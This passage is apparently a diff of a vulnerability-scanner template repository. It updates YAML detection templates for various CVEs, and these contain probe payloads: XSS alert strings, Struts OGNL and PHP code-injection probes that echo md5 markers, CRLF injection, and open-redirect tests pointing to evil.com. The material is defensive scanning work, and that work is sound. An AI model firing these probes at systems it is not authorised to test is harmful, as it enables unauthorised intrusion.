+| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
+| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
+| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
+| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
+| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
+| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
+| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |

cnvd/2021/CNVD-2021-09650.yaml

@@ -1,12 +1,14 @@
 id: CNVD-2021-09650
 
 info:
-  name: Ruijie EWEB Gateway Platform - Remote Command Injection
-  author: daffainfo
+  name: Ruijie Networks-EWEB Network Management System - Remote Code Execution
+  author: daffainfo,pikpikcu
   severity: critical
   description: Ruijie EWEB Gateway Platform is susceptible to remote command injection attacks.
   reference:
     - http://j0j0xsec.top/2021/04/22/%E9%94%90%E6%8D%B7EWEB%E7%BD%91%E5%85%B3%E5%B9%B3%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/
+    - https://github.com/yumusb/EgGateWayGetShell_py/blob/main/eg.py
+    - https://www.ruijienetworks.com
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
     cvss-score: 10.0

contributors.json

@@ -1368,5 +1368,16 @@
             "website": "",
             "email": ""
         }
+    },
+    {
+        "author": "heywoodlh",
+        "links": {
+            "github": "https://www.github.com/heywoodlh",
+            "twitter": "",
+            "linkedin": "",
+            "website": "https://the-empire.systems",
+            "email": ""
+        }
     }
+
 ]

cves/2008/CVE-2008-6465.yaml

@@ -0,0 +1,47 @@
+id: CVE-2008-6465
+
+info:
+  name: Parallels H-Sphere 3.0.0 P9/3.1 P1 - Cross-Site Scripting
+  author: edoardottt
+  severity: medium
+  description: |
+    Parallels H-Sphere 3.0.0 P9 and 3.1 P1 contains multiple cross-site scripting vulnerabilities in login.php in webshell4. An attacker can inject arbitrary web script or HTML via the err, errorcode, and login parameters, thus allowing theft of cookie-based authentication credentials and launch of other attacks.
+  reference:
+    - http://www.xssing.com/index.php?x=3&y=65
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45254
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45252
+    - https://nvd.nist.gov/vuln/detail/CVE-2008-6465
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
+    cve-id: CVE-2008-6465
+    cwe-id: CWE-80
+  metadata:
+    verified: true
+    shodan-query: title:"Parallels H-Sphere
+  tags: cve,cve2008,xss,parallels,h-sphere
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/webshell4/login.php?errcode=0&login=\%22%20onfocus=alert(document.domain);%20autofocus%20\%22&err=U'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '\" onfocus=alert(document.domain); autofocus'
+          - 'Please enter login name & password'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - 'text/html'
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2022/12/08

cves/2008/CVE-2008-6982.yaml

@@ -13,10 +13,11 @@ info:
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
     cvss-score: 7.2
+    cve-id: CVE-2008-6982
     cwe-id: CWE-79
   metadata:
     verified: "true"
-  tags: devalcms,xss,cms,edb
+  tags: cve,cve2008,devalcms,xss,cms,edb
 
 requests:
   - method: GET

cves/2012/CVE-2012-0394.yaml

@@ -0,0 +1,39 @@
+id: CVE-2012-0394
+
+info:
+  name: Apache Struts Dev Mode OGNL Injection
+  author: tess
+  severity: critical
+  description: |
+    The DebuggingInterceptor component in Apache Struts before 2.3.1.1, when developer mode is used, allows remote attackers to execute arbitrary commands via unspecified vectors. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
+  reference:
+    - https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
+    - https://www.exploit-db.com/exploits/31434
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
+    - http://www.exploit-db.com/exploits/18329
+  classification:
+    cve-id: CVE-2012-0394
+  metadata:
+    shodan-query: html:"Struts Problem Report"
+    verified: "true"
+  tags: ognl,injection,edb,cve,cve2012,apache,struts
+
+variables:
+  first: "{{rand_int(1000, 9999)}}"
+  second: "{{rand_int(1000, 9999)}}"
+  result: "{{to_number(first)*to_number(second)}}"
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '{{result}}'
+
+      - type: status
+        status:
+          - 200

cves/2016/CVE-2016-10033.yaml

@@ -1,7 +1,7 @@
 id: CVE-2016-10033
 
 info:
-  name: WordPress PHPMailer < 5.2.18 Remote Code Execution
+  name: WordPress PHPMailer < 5.2.18 - Remote Code Execution
   author: princechaddha
   severity: critical
   description: WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport.

cves/2017/CVE-2017-14186.yaml

@@ -1,38 +1,42 @@
-id: CVE-2017-14186
-
-info:
-  name: FortiGate SSL VPN Web Portal - Cross Site Scripting
-  author: johnk3r
-  severity: medium
-  description: |
-    Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.
-  reference:
-    - https://www.fortiguard.com/psirt/FG-IR-17-242
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
-  classification:
-    cve-id: CVE-2017-14186
-  metadata:
-    verified: true
-    shodan-query: port:10443 http.favicon.hash:945408572
-  tags: cve,cve2017,fortigate,xss,fortinet
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'location=decodeURIComponent("javascript%3Aalert%28document.domain%29"'
-
-      - type: word
-        part: header
-        words:
-          - "text/html"
-
-      - type: status
-        status:
-          - 200
+id: CVE-2017-14186
+
+info:
+  name: FortiGate SSL VPN Web Portal - Cross Site Scripting
+  author: johnk3r
+  severity: medium
+  description: |
+    Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.
+  reference:
+    - https://www.fortiguard.com/psirt/FG-IR-17-242
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
+    - https://fortiguard.com/advisory/FG-IR-17-242
+    - https://web.archive.org/web/20210801135714/http://www.securitytracker.com/id/1039891
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
+    cve-id: CVE-2017-14186
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: port:10443 http.favicon.hash:945408572
+    verified: "true"
+  tags: cve,cve2017,fortigate,xss,fortinet
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'location=decodeURIComponent("javascript%3Aalert%28document.domain%29"'
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-17736.yaml

@@ -40,4 +40,4 @@ requests:
           - "SQLServer"
         condition: and
 
-# Enhanced by cs on 2022/10/06
+# Enhanced by cs on 2022/10/24

cves/2017/CVE-2017-7615.yaml

@@ -18,7 +18,7 @@ info:
     - http://www.openwall.com/lists/oss-security/2017/04/16/2
     - https://nvd.nist.gov/vuln/detail/CVE-2017-7615
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 8.8
     cve-id: CVE-2017-7615
     cwe-id: CWE-640

cves/2017/CVE-2017-8917.yaml

@@ -9,7 +9,7 @@ info:
   reference:
     - https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html
     - https://nvd.nist.gov/vuln/detail/CVE-2017-8917
-    - http://www.securitytracker.com/id/1038522
+    - https://web.archive.org/web/20211207050608/http://www.securitytracker.com/id/1038522
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8

cves/2017/CVE-2017-9833.yaml

@@ -11,7 +11,7 @@ info:
     - https://pastebin.com/raw/rt7LJvyF
     - https://www.exploit-db.com/exploits/42290/
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     cvss-score: 7.5
     cve-id: CVE-2017-9833
     cwe-id: CWE-22

cves/2018/CVE-2018-1000861.yaml

@@ -15,7 +15,7 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2018-1000861
     cwe-id: CWE-502
-  tags: kev,vulhub,cve,cve2018,jenkin,rce,jenkins
+  tags: kev,vulhub,cve,cve2018,rce,jenkins
 
 requests:
   - method: GET

cves/2018/CVE-2018-14912.yaml

@@ -1,7 +1,7 @@
 id: CVE-2018-14912
 
 info:
-  name: cgit < 1.2.1 Directory Traversal
+  name: cgit < 1.2.1 - Directory Traversal
   author: 0x_Akoko
   severity: high
   description: cGit < 1.2.1 via cgit_clone_objects has a directory traversal vulnerability when `enable-http-clone=1` is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request.

cves/2018/CVE-2018-17422.yaml

@@ -1,7 +1,7 @@
 id: CVE-2018-17422
 
 info:
-  name: dotCMS <5.0.2 - Open Redirect
+  name: DotCMS < 5.0.2 - Open Redirect
   author: 0x_Akoko,daffainfo
   severity: medium
   description: |
@@ -16,27 +16,22 @@ info:
     cve-id: CVE-2018-17422
     cwe-id: CWE-601
   metadata:
+    verified: true
     shodan-query: http.title:"dotCMS"
-    verified: "true"
   tags: cve,cve2018,redirect,dotcms
 
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/html/common/forward_js.jsp?FORWARD_URL=http://www.interact.sh'
-      - '{{BaseURL}}/html/portlet/ext/common/page_preview_popup.jsp?hostname=interact.sh'
+      - '{{BaseURL}}/html/common/forward_js.jsp?FORWARD_URL=http://evil.com'
+      - '{{BaseURL}}/html/portlet/ext/common/page_preview_popup.jsp?hostname=evil.com'
 
     stop-at-first-match: true
-    matchers-condition: and
     matchers:
-
       - type: word
         part: body
         words:
-          - "self.location = 'http://www.interact.sh'"
-
-      - type: status
-        status:
-          - 200
+          - "self.location = 'http://evil.com'"
+          - "location.href = 'http\\x3a\\x2f\\x2fwww\\x2eevil\\x2ecom'"
 
 # Enhanced by md on 2022/10/13

cves/2018/CVE-2018-17431.yaml

@@ -11,7 +11,7 @@ info:
     - https://nvd.nist.gov/vuln/detail/CVE-2018-17431
     - https://github.com/Fadavvi/CVE-2018-17431-PoC#confirmation-than-bug-exist-2018-09-25-ticket-id-xwr-503-79437
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2018-17431
     cwe-id: CWE-287

cves/2018/CVE-2018-19365.yaml

@@ -3,15 +3,15 @@ id: CVE-2018-19365
 info:
   name: Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal
   author: 0x_Akoko
-  severity: high
+  severity: critical
   description: Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API.
   reference:
     - https://blog.gdssecurity.com/labs/2019/2/11/wowza-streaming-engine-manager-directory-traversal-and-local.html
     - https://www.cvedetails.com/cve/CVE-2018-19365
     - https://raw.githubusercontent.com/WowzaMediaSystems/public_cve/main/wowza-streaming-engine/CVE-2018-19365.txt
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
+    cvss-score: 9.1
     cve-id: CVE-2018-19365
     cwe-id: CWE-22
   tags: cve,cve2018,wowza,lfi

cves/2018/CVE-2018-20470.yaml

@@ -11,7 +11,7 @@ info:
     - http://packetstormsecurity.com/files/153330/Sahi-Pro-7.x-8.x-Directory-Traversal.html
     - https://nvd.nist.gov/vuln/detail/CVE-2018-20470
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     cvss-score: 7.5
     cve-id: CVE-2018-20470
     cwe-id: CWE-22

cves/2018/CVE-2018-20526.yaml

@@ -78,4 +78,4 @@ requests:
         status:
           - 200
 
-# Enhanced by mp on 2022/10/06
+# Enhanced by mp on 2022/10/07

cves/2018/CVE-2018-7700.yaml

@@ -19,7 +19,7 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}phpinfo();{/dede:field}"
+      - "{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede:field}"
 
     matchers-condition: and
     matchers:
@@ -27,9 +27,7 @@ requests:
       - type: word
         part: body
         words:
-          - "phpinfo"
-          - "PHP Version"
-        condition: and
+          - "4cc32a3a81d2bb37271934a48ce4468a"
 
       - type: status
         status:

cves/2019/CVE-2019-10232.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-10232
 
 info:
-  name: Teclib GLPI <= 9.3.3 Unauthenticated SQL Injection
+  name: Teclib GLPI <= 9.3.3 - Unauthenticated SQL Injection
   author: RedTeamBrasil
   severity: critical
   description: Teclib GLPI <= 9.3.3 exposes a script (/scripts/unlock_tasks.php) that incorrectly sanitizes user controlled data before using it in SQL queries. Thus, an attacker could abuse the affected feature

cves/2019/CVE-2019-10405.yaml

@@ -10,10 +10,10 @@ info:
     - https://jenkins.io/security/advisory/2019-09-25/#SECURITY-1505
     - http://www.openwall.com/lists/oss-security/2019/09/25/3
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 4.3
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
+    cvss-score: 5.4
     cve-id: CVE-2019-10405
-    cwe-id: CWE-200
+    cwe-id: CWE-79
   metadata:
     shodan-query: http.favicon.hash:81586312
   tags: cve,cve2019,jenkins

cves/2019/CVE-2019-12314.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-12314
 
 info:
-  name: Deltek Maconomy 2.2.5 Local File Inclusion
+  name: Deltek Maconomy 2.2.5 - Local File Inclusion
   author: madrobot
   severity: critical
   description: Deltek Maconomy 2.2.5 is prone to local file inclusion via absolute path traversal in the WS.macx1.W_MCS/ PATH_INFO, as demonstrated by a cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS/etc/passwd URI.

cves/2019/CVE-2019-12725.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-12725
 
 info:
-  name: Zeroshell 3.9.0 Remote Command Execution
+  name: Zeroshell 3.9.0 - Remote Command Execution
   author: dwisiswant0,akincibor
   severity: critical
   description: Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters.

cves/2019/CVE-2019-13101.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-13101
 
 info:
-  name: D-Link DIR-600M Authentication Bypass
+  name: D-Link DIR-600M - Authentication Bypass
   author: Suman_Kar
   severity: critical
   description: D-Link DIR-600M 3.02, 3.03, 3.04, and 3.06 devices can be accessed directly without authentication and lead to disclosure of information about the WAN, which can then be leveraged by an attacker to modify the data fields of the page.

cves/2019/CVE-2019-13392.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-13392
 
 info:
-  name: MindPalette NateMail 3.0.15 Cross-Site Scripting
+  name: MindPalette NateMail 3.0.15 - Cross-Site Scripting
   author: pikpikcu
   severity: medium
   description: MindPalette NateMail 3.0.15 is susceptible to reflected cross-site scripting which could allows an attacker to execute remote JavaScript in a victim's browser via a specially crafted POST request. The application will reflect the recipient value if it is not in the NateMail recipient array. Note that this array is keyed via integers by default, so any string input will be invalid.

cves/2019/CVE-2019-14322.yaml

@@ -11,7 +11,7 @@ info:
     - http://packetstormsecurity.com/files/163398/Pallets-Werkzeug-0.15.4-Path-Traversal.html
     - https://nvd.nist.gov/vuln/detail/CVE-2019-14322
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     cvss-score: 7.5
     cve-id: CVE-2019-14322
     cwe-id: CWE-22

cves/2019/CVE-2019-14696.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-14696
 
 info:
-  name: Open-Scool 3.0/Community Edition 2.3 - Cross-Site Scripting
+  name: Open-School 3.0/Community Edition 2.3 - Cross-Site Scripting
   author: pikpikcu
   severity: medium
   description: Open-School 3.0, and Community Edition 2.3, allows cross-site scripting via the osv/index.php?r=students/guardians/create id parameter.
@@ -15,7 +15,7 @@ info:
     cvss-score: 6.1
     cve-id: CVE-2019-14696
     cwe-id: CWE-79
-  tags: packetstorm,cve,cve2019,xss
+  tags: xss,open-school,packetstorm,cve,cve2019
 
 requests:
   - method: GET
@@ -24,12 +24,19 @@ requests:
 
     matchers-condition: and
     matchers:
+
+      - type: word
+        part: body
+        words:
+          - '<script>alert(document.domain)</script>'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - '<script>alert(document.domain)</script>'
-        part: body
 
 # Enhanced by mp on 2022/08/08

cves/2019/CVE-2019-15107.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-15107
 
 info:
-  name: Webmin <= 1.920 Unauthenticated Remote Command Execution
+  name: Webmin <= 1.920 - Unauthenticated Remote Command Execution
   author: bp0lr
   severity: critical
   description: Webmin <=1.920. is vulnerable to an unauthenticated remote command execution via the parameter 'old' in password_change.cgi.

cves/2019/CVE-2019-16313.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-16313
 
 info:
-  name: ifw8 Router ROM v4.31 Credential Discovery
+  name: ifw8 Router ROM v4.31 - Credential Discovery
   author: pikpikcu
   severity: high
   description: ifw8 Router ROM v4.31 is vulnerable to credential disclosure via action/usermanager.htm HTML source code.

cves/2019/CVE-2019-16662.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-16662
 
 info:
-  name: rConfig 3.9.2 Remote Code Execution
+  name: rConfig 3.9.2 - Remote Code Execution
   author: pikpikcu
   severity: critical
   description: rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.

cves/2019/CVE-2019-16759.yaml

@@ -15,7 +15,10 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2019-16759
     cwe-id: CWE-94
-  tags: rce,kev,seclists,cve,cve2019,vbulletin
+  metadata:
+    shodan-query: http.component:"vBulletin"
+    verified: "true"
+  tags: cve,cve2019,rce,kev,seclists,vbulletin
 
 requests:
   - raw:
@@ -24,15 +27,15 @@ requests:
         Host: {{Hostname}}
         Content-Type: application/x-www-form-urlencoded
 
-        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();
+        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B
 
     matchers-condition: and
     matchers:
+
+      - type: word
+        words:
+          - "addcc9f9f2f40e2e6aca3079b73d9d17"
+
       - type: status
         status:
           - 200
-      - type: word
-        words:
-          - "PHP Version"
-
-# Enhanced by mp on 2022/03/29

cves/2019/CVE-2019-2729.yaml

@@ -12,9 +12,10 @@ info:
     - http://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2729-5570780.html
     - http://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2019-2729
+    cwe-id: CWE-284
   tags: cve,cve2019,oracle,rce,weblogic
 
 requests:

cves/2019/CVE-2019-3911.yaml

@@ -9,7 +9,7 @@ info:
     - https://www.tenable.com/security/research/tra-2019-03
     - https://nvd.nist.gov/vuln/detail/CVE-2019-3911
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
     cve-id: CVE-2019-3911
     cwe-id: CWE-79

cves/2019/CVE-2019-3912.yaml

@@ -10,7 +10,7 @@ info:
     - https://www.cvedetails.com/cve/CVE-2019-3912
     - https://nvd.nist.gov/vuln/detail/CVE-2019-3912
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
     cve-id: CVE-2019-3912
     cwe-id: CWE-601

cves/2019/CVE-2019-6802.yaml

@@ -0,0 +1,32 @@
+id: CVE-2019-6802
+
+info:
+  name: Pypiserver 1.2.5 - CRLF Injection
+  author: 0x_Akoko
+  severity: medium
+  description: |
+    CRLF Injection in pypiserver 1.2.5 and below allows attackers to set arbitrary HTTP headers and possibly conduct XSS attacks via a %0d%0a in a URI
+  reference:
+    - https://vuldb.com/?id.130257
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-6802
+    - https://github.com/pypiserver/pypiserver/issues/237
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2019-6802
+    cwe-id: CWE-79,CWE-74
+  metadata:
+    shodan-query: html:"pypiserver"
+    verified: "true"
+  tags: cve,cve2019,crlf,generic,pypiserver
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"
+
+    matchers:
+      - type: word
+        part: header
+        words:
+          - 'Set-Cookie: crlfinjection=1;'

cves/2019/CVE-2019-9922.yaml

@@ -11,7 +11,7 @@ info:
     - https://extensions.joomla.org/extension/je-messenger/
     - https://nvd.nist.gov/vuln/detail/CVE-2019-9922
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     cvss-score: 7.5
     cve-id: CVE-2019-9922
     cwe-id: CWE-22

cves/2020/CVE-2020-10546.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-10546
 
 info:
-  name: rConfig 3.9.4 SQL Injection
+  name: rConfig 3.9.4 - SQL Injection
   author: madrobot
   severity: critical
   description: rConfig 3.9.4 and previous versions have unauthenticated compliancepolicies.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement,

cves/2020/CVE-2020-10547.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-10547
 
 info:
-  name: rConfig 3.9.4 SQL Injection
+  name: rConfig 3.9.4 - SQL Injection
   author: madrobot
   severity: critical
   description: rConfig 3.9.4 and previous versions has unauthenticated compliancepolicyelements.inc.php SQL injection. Because nodes' passwords are stored by default in cleartext, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.

cves/2020/CVE-2020-11110.yaml

@@ -7,18 +7,19 @@ info:
   description: Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
   reference:
     - https://web.archive.org/web/20210717142945/https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html
-    - https://github.com/grafana/grafana/blob/master/CHANGELOG.md
+    - https://github.com/grafana/grafana/pull/23254
     - https://security.netapp.com/advisory/ntap-20200810-0002/
     - https://nvd.nist.gov/vuln/detail/CVE-2020-11110
+    - https://hackerone.com/reports/1329433
   remediation: This issue can be resolved by updating Grafana to the latest version.
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
     cve-id: CVE-2020-11110
     cwe-id: CWE-79
   metadata:
     shodan-query: title:"Grafana"
-  tags: cve,cve2020,xss,grafana
+  tags: cve2020,xss,grafana,hackerone,cve
 
 requests:
   - raw:

cves/2020/CVE-2020-11547.yaml

@@ -5,6 +5,9 @@ info:
   author: x6263
   severity: medium
   description: PRTG Network Monitor before 20.1.57.1745 allows remote unauthenticated attackers to obtain information about probes running or the server itself via an HTTP request.
+  metadata:
+    verified: true
+    shodan-query: title:"prtg"
   reference:
     - https://github.com/ch-rigu/CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure
     - https://nvd.nist.gov/vuln/detail/CVE-2020-11547
@@ -21,7 +24,9 @@ requests:
     path:
       - "{{BaseURL}}/public/login.htm?type=probes"
       - "{{BaseURL}}/public/login.htm?type=requests"
+      - "{{BaseURL}}/public/login.htm?type=treestat"
 
+    stop-at-first-match: true
     req-condition: true
     matchers-condition: and
     matchers:
@@ -33,6 +38,9 @@ requests:
         part: body
         words:
           - "prtg_network_monitor"
+          - "Probes"
+          - "Groups"
+        condition: or
 
       - type: status
         status:

cves/2020/CVE-2020-11991.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-11991
 
 info:
-  name: Apache Cocoon 2.1.12 XML Injection
+  name: Apache Cocoon 2.1.12 - XML Injection
   author: pikpikcu
   severity: high
   description: Apache Cocoon 2.1.12 is susceptible to  XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.

cves/2020/CVE-2020-13121.yaml

@@ -0,0 +1,34 @@
+id: CVE-2020-13121
+
+info:
+  name: Submitty 20.04.01 - Open redirect
+  author: 0x_Akoko
+  severity: medium
+  description: Submitty through 20.04.01 has an open redirect via authentication/login?old= during an invalid login attempt.
+  reference:
+    - https://github.com/Submitty/Submitty/issues/5265
+    - https://www.cvedetails.com/cve/CVE-2020-13121
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2020-13121
+    cwe-id: CWE-601
+  tags: cve,cve2020,redirect,submitty,oos
+
+requests:
+  - raw:
+      - |
+        POST /authentication/check_login?old=http%253A%252F%252Fexample.com%252Fhome HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{RootURL}}
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{RootURL}}/authentication/login
+
+        user_id={{username}}&password={{password}}&stay_logged_in=on&login=Login
+
+    cookie-reuse: true
+    matchers:
+      - type: regex
+        part: header
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1

cves/2020/CVE-2020-13700.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-13700
 
 info:
-  name: WordPresss acf-to-rest-api <=3.1.0- Insecure Direct Object Reference
+  name: WordPresss acf-to-rest-api <=3.1.0 - Insecure Direct Object Reference
   author: pikpikcu
   severity: high
   description: |

cves/2020/CVE-2020-13937.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-13937
 
 info:
-  name: Apache Kylin Exposed Configuration File
+  name: Apache Kylin - Exposed Configuration File
   author: pikpikcu
   severity: medium
   description: Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1,  3.0.2, 3.1.0, 4.0.0-alpha have one REST API which exposed Kylin's configuration information without authentication.

cves/2020/CVE-2020-14408.yaml

@@ -15,7 +15,7 @@ info:
